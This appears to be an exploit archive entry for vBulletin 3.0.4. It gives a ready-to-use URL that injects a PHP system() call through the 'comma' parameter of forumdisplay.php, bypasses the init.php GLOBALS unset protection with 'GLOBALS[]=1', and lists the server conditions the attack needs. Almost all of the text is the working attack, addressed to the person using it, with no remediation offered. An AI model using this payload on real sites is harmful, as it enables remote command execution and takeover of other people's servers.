vbulletin-3.0.4.txt

`Exploit:  
----------------  
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."  
  
Conditions:  
----------------  
1st condition : $vboptions['showforumusers'] == True , the admin must set  
showforumusers ON in vbulletin options.  
  
2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest.  
  
3rd condition : $DB_site->fetch_array($forumusers) == True , when you  
visit the forums, it must has at least one user show the forum.  
  
4th condition : magic_quotes_gpc must be OFF  
  
SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in  
init.php by secret array GLOBALS[]=1 ;)))  
`